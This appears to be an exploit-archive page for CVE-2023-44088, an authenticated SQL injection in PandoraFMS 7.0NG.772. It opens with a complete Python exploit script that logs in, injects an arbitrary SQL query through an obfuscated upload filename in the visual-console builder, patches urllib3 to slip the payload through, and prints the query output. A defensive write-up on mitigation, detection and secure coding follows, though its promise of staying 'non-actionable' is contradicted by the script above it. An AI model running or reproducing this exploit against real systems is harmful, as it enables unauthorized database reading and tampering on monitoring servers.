PandoraFMS 7.0NG.772 - SQL Injection

Exploit Author: Osama Yousef Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-10
# Exploit Title: PandoraFMS 7.0NG.772 - SQL Injection
# Date: 21/11/2023
# Exploit Author: Osama Yousef
# Vendor Homepage: https://pandorafms.com/
# Software Link: https://github.com/pandorafms/pandorafms/releases/download/v772-LTS/pandorafms_agent_linux-7.0NG.772.tar.gz
# Version: v7.0NG.772
# Tested on: Linux
# CVE : CVE-2023-44088

import re, requests, argparse, string, random, base64
import urllib3
import html

headers = {
'Cache-Control': 'max-age=0',
'Origin': '',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36',
'Accept': '*/*',
'Referer': ''
}

def login(session, url, username, password):
res = session.get(url)
csrf = retrieve_csrftoken(res.text)

url+= '?login=1'
payload = "nick={}&pass={}&login_button=Let%27s+go&csrf_code={}"

res = session.post(url, data=payload.format(username, password, csrf), headers={'Content-Type': 'application/x-www-form-urlencoded'})
if 'User is blocked' in res.text:
print("Login Failed!")
exit(1)


def exploit(session, url, imagepath, query):
url1 = url + "?sec=network&sec2=godmode/reporting/visual_console_builder&tab=data"
name = random_id(10)
payload = "{}.jpg',({}),'1','1','1','1');-- helloo.jpg".format(name, query)
payload=payload.replace(' ', '\t')
files = {"background_image": (payload, open(imagepath, 'rb').read(), 'image/jpeg')}

# Create a reference to the original _make_request method
urllib3.connectionpool.HTTPConnectionPool._original_make_request = urllib3.connectionpool.HTTPConnectionPool._make_request
# Replace the _make_request method with the custom_make_request function
urllib3.connectionpool.HTTPConnectionPool._make_request = custom_make_request


res = session.post(url1, files=files, data={'action':'save', 'name':name, 'id_group': 0, 'background_image': 'None.png', 'background_color': '#ffffff', 'width': '1024', 'height': '768', 'is_favourite_sent': '0', 'auto_adjust_sent': '0', 'update_layout': 'Save'})

if 'Created successfully' not in res.text:
print("Failed to create a visual console!")
exit(1)


url2 = url + "?sec=godmode/reporting/map_builder&sec2=godmode/reporting/map_builder"
res = session.get(url2)
x = re.search('(?:<a href=".*">)'+name, res.text)
match = x.group()
url3 = match.lstrip("<a href=")
url3 = url3.split('"')[1]
url3 = url3.split("?")[1]
url3 = html.unescape(url3)

url4 = url+ "?" + url3 

res = session.get(url4)

x = re.search('(?:var props = {"autoAdjust":true,"backgroundColor":".*","backgroundImage")', res.text)
match = x.group()
output = match.lstrip('var props = {"autoAdjust":true,"backgroundColor":"')
output = output.split('","backgroundImage')[0]
print("Query output: {}".format(output))

def retrieve_csrftoken(response):
x = re.search('(?:<input id="hidden-csrf_code" name="csrf_code" type="hidden"  value=")[a-zA-Z0-9]*(?:")', response)
match = x.group()
csrf = match.lstrip('<input id="hidden-csrf_code" name="csrf_code" type="hidden"  value="').rstrip('"')
print("CSRF: {}".format(csrf))
return csrf

def random_id(len):
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join(random.choice(chars) for _ in range(len))

def custom_make_request(self, conn, method, url, timeout=urllib3.connectionpool._Default, chunked=False, **httplib_request_kw):
body = httplib_request_kw['body']
if body:
body = body.replace(b"%09", b"\t"*3)

httplib_request_kw['body'] = body
return self._original_make_request(conn, method, url, timeout=timeout, chunked=chunked, **httplib_request_kw)


def main():
ap = argparse.ArgumentParser()
ap.add_argument("-t", "--target", required=True, help="Target URI")
ap.add_argument("-u", "--username", required=True, help="Username")
ap.add_argument("-p", "--password", required=True, help="Password")
ap.add_argument("-i", "--image", required=True, help="Image path")
ap.add_argument("-q", "--query", required=True, help="SQL Query to execute")
ap.add_argument("-x", "--proxy", required=False, help="Proxy Configuration (e.g., http://127.0.0.1:8080/)")

args = vars(ap.parse_args())

session = requests.Session()

url = args['target']
if 'pandora_console' not in url:
if not url.endswith('/'):
url += '/'
url += 'pandora_console/'




headers['Origin'] = args['target']
headers['Referer'] = args['target']
session.headers.update(headers)

proxies = {}
if args['proxy'] is not None:
if 'https' in args['proxy']:
proxies['https'] = args['proxy']
else:
proxies['http'] = args['proxy']

session.proxies.update(proxies)

login(session, url, args['username'], args['password'])

exploit(session, url, args['image'], args['query'])



if __name__=='__main__':
main()


PandoraFMS 7.0NG.772 — CVE-2023-44088 (SQL Injection): Overview, Impact, and Remediation

PandoraFMS (Pandora Flexible Monitoring System) is an open-source monitoring and management platform. In November 2023 a SQL injection vulnerability was disclosed affecting version v7.0NG.772 (CVE-2023-44088). This article explains the issue at a high level, outlines the potential impact, and provides practical, defensive guidance for administrators, developers, and incident responders. It focuses on mitigation, detection, and secure coding practices rather than exploitation details.

Executive summary

  • Vulnerability type: SQL Injection (authenticated)
  • Affected product: PandoraFMS 7.0NG.772 (visual/console related functionality)
  • Risk: Allows authenticated users to influence backend database queries, potentially exposing data or enabling further compromise depending on database privileges
  • Primary remediation: Apply vendor-supplied patches or upgrade to a fixed version; apply defensive controls such as WAF rules and least-privilege database accounts

Vulnerability background (high level)

The reported issue was an SQL injection vulnerability in a component used to build visual consoles/maps. At a high level, the application accepted user-supplied input (originating from a multipart/form upload or form fields used when saving a visual console) and incorporated that input into SQL statements without proper parameterization or sanitization. An authenticated user could therefore manipulate the input to influence the SQL executed by the application.

Because the vulnerability requires authentication, the attack surface is limited compared to unauthenticated flaws, but it remains serious: any user who can authenticate to the affected functionality may be able to read or modify database contents, escalate privileges inside the application, or facilitate additional attacks against the host or network.

Impact scenarios

  • Data exposure: Unauthorized read access to sensitive monitoring data, credentials, or configuration stored in the database.
  • Data integrity: Attackers could alter monitoring rules, modify alerts, or corrupt configuration/state information.
  • Privilege escalation: If the database user has wide privileges, attackers could create persistence mechanisms or alter database-level objects.
  • Operational disruption: Manipulation of monitoring dashboards or data could blind defenders or generate false alerts.

Vulnerability details (non-actionable, conceptual)

To avoid enabling misuse, this section intentionally stays conceptual. The root cause was insufficient use of parameterized queries and inadequate input validation for user-supplied fields processed when saving or constructing visual components. In general, SQL injection occurs when concatenated strings or unsafely interpolated input are used to build SQL statements that the database executes.

Immediate mitigation steps for administrators

  • Patch immediately: Apply the vendor-provided patch or upgrade to the fixed PandoraFMS release. Vendor advisories and official releases should be prioritized.
  • Restrict access: Limit access to the PandoraFMS web interface to trusted networks or VPN-only access until patched.
  • Harden DB credentials: Ensure the database account used by the application has the minimum privileges required — avoid superuser/DBA-level accounts for the app.
  • Disable non-essential features: Temporarily disable the visual console/map builder or any related functionality exposed to lower-privileged authenticated users if that is feasible operationally.
  • WAF / Rules: Deploy or tune web application firewall rules to block suspicious input patterns and file uploads to the affected endpoints. Use conservative whitelisting for file types and filenames.
  • Monitoring & alerts: Increase logging and alerting for database errors, unexpected 500 responses from the app, or unexpected changes to dashboards/visual consoles.

Detection and hunting guidance

Indicators of compromise (IoCs) for SQL injection exploitation vary by environment and should be used carefully. The following are defensive hunting ideas rather than precise exploit signatures:

  • Search web access logs for authenticated POST requests to visual-console or map-builder endpoints, especially uploading behavior or unusual filename characters.
  • Monitor application and database logs for anomalous SQL errors, repeated query failures, or unexpected queries executed by the application account.
  • Detect sudden creation/modification of visual consoles, dashboards, or map resources by non-administrative users.
  • Alert on anomalous database query patterns (e.g., queries touching many tables where typical behavior is limited) or a change in query volume from the application.
  • Check integrity of configuration and alerting rules for unauthorized modifications.

Forensic response checklist

  • Collect relevant logs: web server, application, database, and system logs from the time window of interest.
  • Export database read-only copies for investigation; preserve timestamps and ensure chain of custody if needed.
  • Identify impacted accounts and reset credentials for any accounts that may have been abused.
  • Reconstruct attacker activity: follow changes to visual consoles/dashboards and any unexpected queries or exported data.
  • After remediation, conduct a deeper audit to ensure no backdoors (web shells or altered scheduled tasks) were planted.

Secure development and hardening recommendations

Preventing SQL injection is a mature discipline. Key controls that developers and ops should implement include:

  • Use parameterized queries / prepared statements for all database interactions — never build SQL by concatenating user input.
  • Validate and normalize input server-side: enforce strict whitelists for filenames, IDs, and enumerated values.
  • Use least privilege for database accounts; separate read-only vs. write accounts where applicable.
  • Defend in depth: use a Web Application Firewall, application-layer rate limits, and content-type/extension checks for uploads.
  • Implement robust logging and telemetry for important actions (resource creation, config changes, file uploads).

Secure coding examples (safe, non-actionable)

The following examples show safe approaches to interacting with a database using parameterized queries. These are generic illustrations intended for developers to adopt the right patterns; they are not tied to any specific exploit or input vector.

# Python example using a parameterized query with a DB-API compatible library (psycopg2 for PostgreSQL)
import psycopg2

conn = psycopg2.connect(dsn)
cur = conn.cursor()

# Instead of concatenating user input into SQL, always use parameter placeholders
query = "SELECT id, name FROM dashboards WHERE name = %s"
user_supplied_name = get_user_input()  # sanitize/validate before using

cur.execute(query, (user_supplied_name,))
rows = cur.fetchall()

cur.close()
conn.close()

Explanation: This code uses psycopg2 parameter placeholders (%s) and passes user input as separate parameters to cur.execute. The database driver handles proper escaping and prevents SQL injection. Always validate and normalize input in addition to parameterization.

# PHP example using PDO prepared statements
 PDO::ERRMODE_EXCEPTION]);

$sql = "INSERT INTO visual_components (owner_id, title, config) VALUES (:owner_id, :title, :config)";
$stmt = $pdo->prepare($sql);

$ownerId = $_SESSION['user_id'];         // obtain from session context
$title = trim($_POST['title']);          // basic normalization
$configJson = json_encode($configArray); // ensure consistent structure

$stmt->execute([':owner_id' => $ownerId, ':title' => $title, ':config' => $configJson]);
?>

Explanation: The PDO prepare/execute workflow binds named parameters separately from the SQL statement, preventing injection. Additionally, normalize and validate input values (length limits, allowed characters, JSON schema validation for structured fields).

Operational checklist for patching

ActionNotes
Identify affected instancesInventory all PandoraFMS installations and confirm versions.
Apply vendor patch or updateInstall the official fix or upgrade to the vendor-recommended release.
Restart and verifyRestart services and confirm functionality; run smoke tests for dashboards and map builder flows.
Harden DB accountReview and reduce database privileges used by the application.
Monitor closelyIncrease logging and review logs for suspicious activity for several weeks after the update.

Owner and disclosure information

  • Vendor: PandoraFMS — pandorafms.com
  • Identifier: CVE-2023-44088
  • Responsible action: Follow vendor advisories and apply fixes promptly; coordinate with internal security and change control teams

References and further reading

  • Vendor homepage: https://pandorafms.com/
  • CVE entry: search CVE-2023-44088 in CVE databases for canonical metadata
  • OWASP SQL Injection Prevention Cheat Sheet — for secure coding best practices (parameterized queries, input validation)

Final recommendations

If you operate PandoraFMS instances, prioritize applying vendor patches and hardening database and network access. Treat this vulnerability as a high-priority patching target for any environment where authenticated users can access visual console or map-building features. Combine code fixes with operational controls (least privilege, WAF, logging) to reduce both exploitability and impact.